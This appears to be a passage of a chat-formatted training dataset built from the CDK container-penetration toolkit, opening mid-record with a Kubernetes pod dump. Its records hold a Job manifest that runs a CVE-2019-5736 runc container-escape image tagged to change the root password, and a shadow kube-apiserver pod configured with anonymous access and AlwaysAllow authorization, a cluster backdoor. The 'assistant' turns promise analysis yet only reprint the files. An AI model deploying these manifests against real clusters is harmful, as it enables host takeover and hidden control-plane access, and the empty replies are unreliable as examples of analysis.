1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"requests\":{\"cpu\":\"100m\",\"memory\":\"70Mi\"}},\"volumeMounts\":[{\"name\":\"localtime\",\"readOnly\":true,\"mountPath\":\"/etc/localtime\"},{\"name\":\"nginx-ingress-controller-token-whd5r\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10254,\"scheme\":\"HTTP\"},\"initialDelaySeconds\":10,\"timeoutSeconds\":10,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"readinessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10254,\"scheme\":\"HTTP\"},\"timeoutSeconds\":10,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_BIND_SERVICE\"],\"drop\":[\"ALL\"]},\"runAsUser\":101}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"nginx-ingress-controller\",\"serviceAccount\":\"nginx-ingress-controller\",\"nodeName\":\"cn-beijing.192.168.0.155\",\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchExpressions\":[{\"key\":\"type\",\"operator\":\"NotIn\",\"values\":[\"virtual-kubelet\"]}]}]}},\"podAntiAffinity\":{\"preferredDuringSchedulingIgnoredDuringExecution\":[{\"weight\":100,\"podAffinityTerm\":{\"labelSelector\":{\"matchExpressions\":[{\"key\":\"app\",\"operator\":\"In\",\"values\":[\"ingress-nginx\"]}]},\"topologyKey\":\"kubernetes.io/hostname\"}}]}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\",\"tolerationSeconds\":300}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:23Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:38Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:13:38Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:48Z\"}],\"hostIP\":\"192.168.0.155\",\"podIP\":\"172.20.0.200\",\"podIPs\":[{\"ip\":\"172.20.0.200\"}],\"startTime\":\"2020-04-08T04:12:48Z\",\"initContainerStatuses\":[{\"name\":\"init-sysctl\",\"state\":{\"terminated\":{\"exitCode\":0,\"reason\":\"Completed\",\"startedAt\":\"2020-04-08T04:13:22Z\",\"finishedAt\":\"2020-04-08T04:13:22Z\",\"containerID\":\"docker://1d50836144b1807267d3b00107e6858dcf87dc1fd1065ef5d6c6d746aa5209a3\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/busybox:v1.29.2\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/busybox@sha256:5e8e0509e829bb8f990249135a36e81a3ecbe94294e7a185cc14616e5fad96bd\",\"containerID\":\"docker://1d50836144b1807267d3b00107e6858dcf87dc1fd1065ef5d6c6d746aa5209a3\"}],\"containerStatuses\":[{\"name\":\"nginx-ingress-controller\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:13:34Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller:v0.30.0.1-5f89cb606-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller@sha256:bef118e653cfd65dc097009981e49cd651539627b8f90b5c22fe4d90d5e2e679\",\"containerID\":\"docker://3093694fba5620cf7bf7213a95dbd10e00e660ca12098372733ef9aaa73a1417\",\"started\":true}],\"qosClass\":\"Burstable\"}}]}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/runc.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\napiVersion: batch/v1\nkind: Job\nmetadata:\n creationTimestamp: null\n name: runc-escape\nspec:\n template:\n metadata:\n creationTimestamp: null\n spec:\n containers:\n - image: registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd\n name: runc-escape\n resources: {}\n restartPolicy: Never\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/k8s_exploit_util/shadow-apiserver.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n# normal api-server.yaml\n# https://github.com/GoogleCloudPlatform/k8s-cluster-bundle/blob/master/examples/cluster/kubernetes/kube-apiserver.yaml\n\n# shadow api-server changing\n# https://www.youtube.com/watch?v=CH7S5rE3j8w\n\napiVersion: v1\nkind: Pod\nmetadata:\n labels:\n component: shadow-kube-apiserver\n tier: control-plane\n name: cdk-shadow-apiserver-webhook-control-plane\n namespace: kube-system\nspec:\n containers:\n - command:\n - kube-apiserver\n - --allow-privileged=true\n - --anonymous-auth=true\n - --authorization-mode=AlwaysAllow\n # - --insecure-port=443\n # - --insecure-bind-address=0.0.0.0\n - --client-ca-file=/etc/kubernetes/pki/ca.crt\n - --enable-bootstrap-token-auth=true\n - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: test/scripts/runtest_in_dev.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n#!/bin/bash\n\ncurrent_file=$0\npdir=`dirname \"${current_file}\"`\nppdir=`dirname \"${pdir}\"`\nproject_dir=`dirname \"${ppdir}\"`\n\n# CGO_CFLAGS=\"-Wno-undef-prefix=TARGET_OS_ -Wno-deprecated-declarations\"\n#CGO_CFLAGS=\"-Wno-deprecated-declarations\"\n#export CGO_CFLAGS=\"-Wno-undef -Wno-deprecated-declarations\"\n\n#2>&1 | sed '/# github.com/,/has been explicitly marked deprecated here$/d'\n\ngo run -tags=\"hw\" \"$project_dir/cmd/cdk/cdk.go\" \"$@\"\n\n<|im_end|>"}